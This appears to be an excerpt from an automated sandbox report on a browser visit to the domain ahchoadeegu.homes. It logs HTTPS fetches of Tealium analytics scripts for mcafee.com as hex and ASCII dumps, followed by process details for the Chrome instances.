2024-10-03 15:19:49 UTC	582	OUT	GET /utag/mcafee/consumer-display/prod/utag.331.js?utv=ut4.39.202409111541 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.mcafee.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:50 UTC	611	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 5795 Connection: close Last-Modified: Wed, 11 Sep 2024 15:41:14 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: 8GA1XkAx3dlAAxd7TpMV456Iw5vbHFYs Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 15:19:51 GMT ETag: "9757514dff9c9218a53641e99e099343" Vary: Accept-Encoding X-Cache: RefreshHit from cloudfront Via: 1.1 51b32b366d2fc0baf4c02123f643c37c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: wynZjX1L40CiYQmfR6xR0iYAXaKadNEOpFY90KC8V1PHU0RX6j8sFQ== Cache-Control: max-age=1296000
2024-10-03 15:19:50 UTC	5795	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 33 33 31 20 75 74 34 2e 30 2e 32 30 32 34 30 39 31 31 31 35 34 31 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 69 66 28 75 74 61 67 2e 75 74 2e 74 79 70 65 4f 66 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 2e 74 79 70 65 4f 66 3d 66 Data Ascii: //tealium universal tag - utag.331 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}if(utag.ut.typeOf===undefined){u.typeOf=f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.17	56039	13.33.187.116	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:49 UTC	582	OUT	GET /utag/mcafee/consumer-display/prod/utag.356.js?utv=ut4.39.202409111541 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.mcafee.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:50 UTC	613	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 107780 Connection: close Last-Modified: Wed, 11 Sep 2024 15:41:16 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: 5viJqHdRXTraFQThmDE8gmR3xwT9v27J Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 15:19:51 GMT ETag: "104ab480bcdf0038d5664245caf8d688" Vary: Accept-Encoding X-Cache: RefreshHit from cloudfront Via: 1.1 78668cba389ee6455cf1c23180f33cf8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: 9_T7abrkbzCcYS6zQ_fDpfULcyhTWXpNssiaInLhmtfRlEZxPIzuWQ== Cache-Control: max-age=1296000
2024-10-03 15:19:50 UTC	16384	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 33 35 36 20 75 74 34 2e 30 2e 32 30 32 34 30 39 31 31 31 35 34 31 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 76 61 72 20 73 3d 73 5f 67 69 28 22 6d 63 61 66 65 65 77 77 63 6f 6e 73 75 6d 65 72 6d 61 69 6e 22 29 0a 73 2e 61 63 63 6f 75 6e 74 3d 22 6d 63 61 66 65 65 77 77 63 6f 6e 73 75 6d 65 72 6d 61 69 6e 22 3b 73 2e 74 72 61 63 6b 44 6f 77 6e 6c 6f 61 64 4c 69 6e 6b 73 3d 74 72 75 65 3b 73 2e 74 72 61 63 6b 45 78 74 65 72 6e 61 6c 4c 69 6e 6b 73 3d 74 72 75 65 3b 73 2e 74 72 61 63 6b 49 6e 6c 69 6e 65 53 74 61 74 73 3d 74 72 75 65 3b 73 2e 6c Data Ascii: //tealium universal tag - utag.356 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved.var s=s_gi("mcafeewwconsumermain")s.account="mcafeewwconsumermain";s.trackDownloadLinks=true;s.trackExternalLinks=true;s.trackInlineStats=true;s.l
2024-10-03 15:19:50 UTC	16384	IN	Data Raw: 6c 3d 22 31 2e 38 2e 32 22 2c 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 26 26 28 6c 3d 22 31 2e 38 2e 35 22 29 29 29 29 29 7d 63 61 74 63 68 28 72 29 7b 7d 7d 64 3d 73 63 72 65 65 6e 2e 77 69 64 74 68 2b 22 78 22 2b 73 63 72 65 65 6e 2e 68 65 69 67 68 74 3b 65 3d 6e 61 76 69 67 61 74 6f 72 2e 6a 61 76 61 45 6e 61 62 6c 65 64 28 29 3f 22 59 22 3a 22 4e 22 3b 66 3d 73 63 72 65 65 6e 2e 70 69 78 65 6c 44 65 70 74 68 3f 73 63 72 65 65 6e 2e 70 69 78 65 6c 44 65 70 74 68 3a 73 63 72 65 65 6e 2e 63 6f 6c 6f 72 44 65 70 74 68 3b 67 3d 61 2e 77 2e 69 6e 6e 65 72 57 69 64 74 68 3f 61 2e 77 2e 69 6e 6e 65 72 57 69 64 74 68 3a 61 2e 64 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6f 66 66 73 65 74 57 69 64 74 68 3b 6b 3d 61 2e 77 2e 69 6e 6e 65 72 48 65 69 67 68 Data Ascii: l="1.8.2",Object.create&&(l="1.8.5")))))}catch(r){}}d=screen.width+"x"+screen.height;e=navigator.javaEnabled()?"Y":"N";f=screen.pixelDepth?screen.pixelDepth:screen.colorDepth;g=a.w.innerWidth?a.w.innerWidth:a.d.documentElement.offsetWidth;k=a.w.innerHeigh
2024-10-03 15:19:50 UTC	11977	IN	Data Raw: 6c 65 73 20 72 65 74 72 69 65 76 65 4c 69 67 68 74 44 61 74 61 22 2e 73 70 6c 69 74 28 22 20 22 29 3b 61 2e 67 3d 61 2e 44 2e 63 6f 6e 63 61 74 28 22 70 75 72 63 68 61 73 65 49 44 20 76 61 72 69 61 62 6c 65 50 72 6f 76 69 64 65 72 20 63 68 61 6e 6e 65 6c 20 73 65 72 76 65 72 20 70 61 67 65 54 79 70 65 20 74 72 61 6e 73 61 63 74 69 6f 6e 49 44 20 63 61 6d 70 61 69 67 6e 20 73 74 61 74 65 20 7a 69 70 20 65 76 65 6e 74 73 20 65 76 65 6e 74 73 32 20 70 72 6f 64 75 63 74 73 20 61 75 64 69 65 6e 63 65 4d 61 6e 61 67 65 72 42 6c 6f 62 20 74 6e 74 22 2e 73 70 6c 69 74 28 22 20 22 29 29 3b 61 2e 6b 61 3d 22 74 69 6d 65 73 74 61 6d 70 20 63 68 61 72 53 65 74 20 76 69 73 69 74 6f 72 4e 61 6d 65 73 70 61 63 65 20 63 6f 6f 6b 69 65 44 6f 6d 61 69 6e 50 65 72 69 6f 64 Data Ascii: les retrieveLightData".split(" ");a.g=a.D.concat("purchaseID variableProvider channel server pageType transactionID campaign state zip events events2 products audienceManagerBlob tnt".split(" "));a.ka="timestamp charSet visitorNamespace cookieDomainPeriod
2024-10-03 15:19:50 UTC	16384	IN	Data Raw: 22 3a 22 65 56 61 72 31 31 31 22 2c 22 74 6d 5f 67 6c 6f 62 61 6c 5f 74 74 5f 65 78 70 65 72 69 65 6e 63 65 22 3a 22 65 56 61 72 31 31 32 22 2c 22 74 6d 5f 67 6c 6f 62 61 6c 5f 74 74 5f 6f 66 66 65 72 22 3a 22 65 56 61 72 31 31 33 22 2c 22 74 6d 5f 6c 6f 63 61 6c 5f 6c 61 6e 64 69 6e 67 5f 70 61 67 65 5f 76 69 73 69 74 3a 74 72 75 65 22 3a 22 65 76 65 6e 74 31 34 38 22 2c 22 74 6d 5f 6c 6f 63 61 6c 5f 73 74 6f 72 65 5f 70 61 67 65 5f 76 69 73 69 74 3a 74 72 75 65 22 3a 22 65 76 65 6e 74 31 34 39 22 2c 22 74 6d 5f 67 6c 6f 62 61 6c 5f 73 6f 75 72 63 65 22 3a 22 65 56 61 72 31 31 34 22 2c 22 74 6d 5f 67 6c 6f 62 61 6c 5f 73 6f 75 72 63 65 5f 6c 65 76 65 6c 32 22 3a 22 65 56 61 72 31 31 35 22 2c 22 74 6d 5f 67 6c 6f 62 61 6c 5f 73 69 74 65 73 65 63 74 69 6f Data Ascii: ":"eVar111","tm_global_tt_experience":"eVar112","tm_global_tt_offer":"eVar113","tm_local_landing_page_visit:true":"event148","tm_local_store_page_visit:true":"event149","tm_global_source":"eVar114","tm_global_source_level2":"eVar115","tm_global_sitesectio
2024-10-03 15:19:50 UTC	16384	IN	Data Raw: 73 2e 6a 6f 69 6e 28 20 76 5b 78 5d 2c 70 29 3b 65 6c 22 0a 2b 22 73 65 20 73 74 72 2b 3d 77 2b 76 5b 78 5d 2b 77 3b 69 66 28 78 3c 76 2e 6c 65 6e 67 74 68 2d 31 29 73 74 72 2b 3d 64 3b 7d 72 65 74 75 72 6e 20 66 2b 73 74 72 2b 62 3b 22 29 3b 73 2e 72 65 70 6c 3d 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 78 22 2c 22 6f 22 2c 22 6e 22 2c 22 22 0a 2b 22 76 61 72 20 69 3d 78 2e 69 6e 64 65 78 4f 66 28 6f 29 2c 6c 3d 6e 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 78 26 26 69 3e 3d 30 29 7b 78 3d 78 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 69 29 2b 6e 2b 78 2e 22 0a 2b 22 73 75 62 73 74 72 69 6e 67 28 69 2b 6f 2e 6c 65 6e 67 74 68 29 3b 69 3d 78 2e 69 6e 64 65 78 4f 66 28 6f 2c 69 2b 6c 29 7d 72 65 74 75 72 6e 20 78 22 29 3b 73 2e 67 65 74 50 72 65 76 69 6f 75 73 Data Ascii: s.join( v[x],p);el"+"se str+=w+v[x]+w;if(x<v.length-1)str+=d;}return f+str+b;");s.repl=new Function("x","o","n",""+"var i=x.indexOf(o),l=n.length;while(x&&i>=0){x=x.substring(0,i)+n+x."+"substring(i+o.length);i=x.indexOf(o,i+l)}return x");s.getPrevious
2024-10-03 15:19:50 UTC	16384	IN	Data Raw: 63 61 74 63 68 28 65 29 7b 7d 3b 74 72 79 7b 62 5b 27 71 70 2e 74 6d 5f 67 6c 6f 62 61 6c 5f 75 74 6d 5f 73 6f 75 72 63 65 27 5d 3d 74 79 70 65 6f 66 20 75 74 61 67 5f 64 61 74 61 5b 22 71 70 2e 75 74 6d 5f 73 6f 75 72 63 65 22 5d 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 75 74 61 67 5f 64 61 74 61 5b 22 71 70 2e 75 74 6d 5f 73 6f 75 72 63 65 22 5d 3a 22 22 7d 63 61 74 63 68 28 65 29 7b 7d 3b 74 72 79 7b 62 5b 27 71 70 2e 74 6d 5f 67 6c 6f 62 61 6c 5f 75 74 6d 5f 6d 65 64 69 75 6d 27 5d 3d 74 79 70 65 6f 66 20 75 74 61 67 5f 64 61 74 61 5b 22 71 70 2e 75 74 6d 5f 6d 65 64 69 75 6d 22 5d 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 75 74 61 67 5f 64 61 74 61 5b 22 71 70 2e 75 74 6d 5f 6d 65 64 69 75 6d 22 5d 3a 22 22 7d 63 61 74 63 68 28 65 29 7b 7d 3b 74 72 Data Ascii: catch(e){};try{b['qp.tm_global_utm_source']=typeof utag_data["qp.utm_source"]!="undefined"?utag_data["qp.utm_source"]:""}catch(e){};try{b['qp.tm_global_utm_medium']=typeof utag_data["qp.utm_medium"]!="undefined"?utag_data["qp.utm_medium"]:""}catch(e){};tr
2024-10-03 15:19:50 UTC	13883	IN	Data Raw: 74 27 5d 7d 7d 63 61 74 63 68 28 65 29 7b 75 74 61 67 2e 44 42 28 65 29 3b 7d 7d 5d 3b 75 2e 73 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 65 76 29 7b 69 66 28 75 2e 65 76 5b 61 5d 7c 7c 74 79 70 65 6f 66 20 75 2e 65 76 2e 61 6c 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 75 74 61 67 2e 44 42 28 22 73 65 6e 64 3a 33 35 36 22 29 3b 75 2e 64 61 74 61 3d 7b 22 61 64 6f 62 65 5f 6f 72 67 5f 69 64 22 3a 22 41 37 32 39 37 37 36 41 35 32 34 35 42 31 35 39 30 41 34 39 30 44 34 34 40 41 64 6f 62 65 4f 72 67 22 2c 22 63 6f 6f 6b 69 65 44 6f 6d 61 69 6e 22 3a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 74 61 67 2e 6c 6f 61 64 65 72 2e 52 43 28 27 75 74 61 67 5f 6d 61 69 6e 27 29 2e 76 61 70 69 5f 64 6f Data Ascii: t']}}catch(e){utag.DB(e);}}];u.send=function(a,b,c,d,e,f,g,h,ev){if(u.ev[a]\|\|typeof u.ev.all!="undefined"){utag.DB("send:356");u.data={"adobe_org_id":"A729776A5245B1590A490D44@AdobeOrg","cookieDomain":(function(){return utag.loader.RC('utag_main').vapi_do

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.17	56041	13.33.187.116	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:49 UTC	582	OUT	GET /utag/mcafee/consumer-display/prod/utag.361.js?utv=ut4.39.202409111541 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.mcafee.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:50 UTC	611	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3128 Connection: close Last-Modified: Wed, 11 Sep 2024 15:41:14 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: SScuPCsxGRgwDwJn7n_N9oaF5oZpd9tk Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 15:19:51 GMT ETag: "e6f3f70f4156f5a23700d5b973140d28" Vary: Accept-Encoding X-Cache: RefreshHit from cloudfront Via: 1.1 60dc145c687858f10bb3fe6251ad4ffe.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: 5lXVaw5RGWukHyPmdPwZJQLp5-ORcRNVrOcrTttt_MoTe9YprEJ7Gw== Cache-Control: max-age=1296000
2024-10-03 15:19:50 UTC	3128	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 33 36 31 20 75 74 34 2e 30 2e 32 30 32 34 30 39 31 31 31 35 34 31 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 76 61 72 20 6d 61 74 63 68 3d 2f 75 74 5c 64 5c 2e 28 5c 64 2a 29 5c 2e 2e 2a 2f 2e 65 78 65 63 28 75 74 61 67 2e 63 66 67 Data Ascii: //tealium universal tag - utag.361 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}var match=/ut\d\.(\d)\../.exec(utag.cfg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.17	56043	13.33.187.116	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:49 UTC	582	OUT	GET /utag/mcafee/consumer-display/prod/utag.516.js?utv=ut4.39.202409111541 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.mcafee.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:50 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 10448 Connection: close Last-Modified: Wed, 11 Sep 2024 15:41:18 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: n5sT.SOkd6s0uNl1BJS4MdymnuZWkU1r Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 15:19:51 GMT ETag: "40b1a7fd4331022c9017f8b1ab9fcf3b" Vary: Accept-Encoding X-Cache: RefreshHit from cloudfront Via: 1.1 4770dda4e92393e930d8a34dcbb04db2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: 4Ji79zFJyI4BZLE_UqYXQKo5oDaW0kUE87Vu0WNbA7CPmqCjAQ8S0A== Cache-Control: max-age=1296000
2024-10-03 15:19:50 UTC	10448	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 35 31 36 20 75 74 34 2e 30 2e 32 30 32 34 30 39 31 31 31 35 34 31 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 76 61 72 20 6d 61 74 63 68 3d 2f 75 74 5c 64 5c 2e 28 5c 64 2a 29 5c 2e 2e 2a 2f 2e 65 78 65 63 28 75 74 61 67 2e 63 66 67 Data Ascii: //tealium universal tag - utag.516 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}var match=/ut\d\.(\d)\../.exec(utag.cfg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.17	56045	13.33.187.116	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:50 UTC	582	OUT	GET /utag/mcafee/consumer-display/prod/utag.528.js?utv=ut4.39.202409111541 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.mcafee.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:50 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 10447 Connection: close Last-Modified: Wed, 11 Sep 2024 15:41:18 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: x5zXV3VpyyfC8DBqys02pOIDZYLiby6u Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 15:19:51 GMT ETag: "8ca5c7e5b4790db258fe1c73647a2d96" Vary: Accept-Encoding X-Cache: RefreshHit from cloudfront Via: 1.1 3677df2c828d68a6a84555cd8a40cf50.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: xK949DGzVUL1O7uuBucKdlQ-UA2FodrgFVXcUKn41MxWfGM7nGbCiw== Cache-Control: max-age=1296000
2024-10-03 15:19:50 UTC	10447	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 35 32 38 20 75 74 34 2e 30 2e 32 30 32 34 30 39 31 31 31 35 34 31 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 76 61 72 20 6d 61 74 63 68 3d 2f 75 74 5c 64 5c 2e 28 5c 64 2a 29 5c 2e 2e 2a 2f 2e 65 78 65 63 28 75 74 61 67 2e 63 66 67 Data Ascii: //tealium universal tag - utag.528 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}var match=/ut\d\.(\d)\../.exec(utag.cfg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.17	56048	13.33.187.116	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:50 UTC	367	OUT	GET /utag/tiqapp/utag.currency.js HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:50 UTC	526	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3158 Connection: close Last-Modified: Fri, 27 Sep 2024 01:00:02 GMT Server: AkamaiNetStorage Cache-Control: max-age=1296000 Date: Thu, 03 Oct 2024 15:19:49 GMT ETag: "48131e426c7ae3452706a94bbd6e7899:1727398802.843971" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 eb8dd67e239abea324e36244f60eec4c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: riD0dXwP8B1Py8xJeuiGtFBnBgxmVkYt-ICGiO2em5W5m0QzNcBjvw== Age: 1
2024-10-03 15:19:50 UTC	3158	IN	Data Raw: 76 61 72 20 74 65 61 6c 69 75 6d 69 71 5f 63 75 72 72 65 6e 63 79 20 3d 20 7b 0a 20 20 20 20 74 73 3a 22 32 30 32 34 30 39 32 37 30 31 30 30 22 2c 0a 20 20 20 20 72 61 74 65 73 3a 7b 22 46 4b 50 22 3a 30 2e 37 34 36 33 36 2c 22 58 41 55 22 3a 30 2e 30 30 30 33 37 34 35 36 2c 22 44 4f 50 22 3a 36 30 2e 31 34 37 34 30 39 2c 22 49 4d 50 22 3a 30 2e 37 34 36 33 36 2c 22 43 52 43 22 3a 35 32 30 2e 33 37 34 30 32 38 2c 22 41 52 53 22 3a 39 36 37 2e 32 36 33 31 2c 22 4b 47 53 22 3a 38 34 2e 32 2c 22 58 50 46 22 3a 31 30 36 2e 38 34 30 31 30 32 2c 22 43 5a 4b 22 3a 32 32 2e 35 30 35 36 2c 22 4d 58 4e 22 3a 31 39 2e 36 31 39 30 31 2c 22 53 45 4b 22 3a 31 30 2e 31 33 37 35 34 36 2c 22 45 47 50 22 3a 34 38 2e 33 37 33 33 2c 22 4d 4e 54 22 3a 33 33 39 38 2c 22 43 4f Data Ascii: var tealiumiq_currency = { ts:"202409270100", rates:{"FKP":0.74636,"XAU":0.00037456,"DOP":60.147409,"IMP":0.74636,"CRC":520.374028,"ARS":967.2631,"KGS":84.2,"XPF":106.840102,"CZK":22.5056,"MXN":19.61901,"SEK":10.137546,"EGP":48.3733,"MNT":3398,"CO

Target ID:	0
Start time:	11:18:07
Start date:	03/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	11:18:08
Start date:	03/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=1920,i,12280442892699311904,4794967593224080757,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	11:18:09
Start date:	03/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ahchoadeegu.homes?u=k8pp605&o=c9ewtnr&t=8845"
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

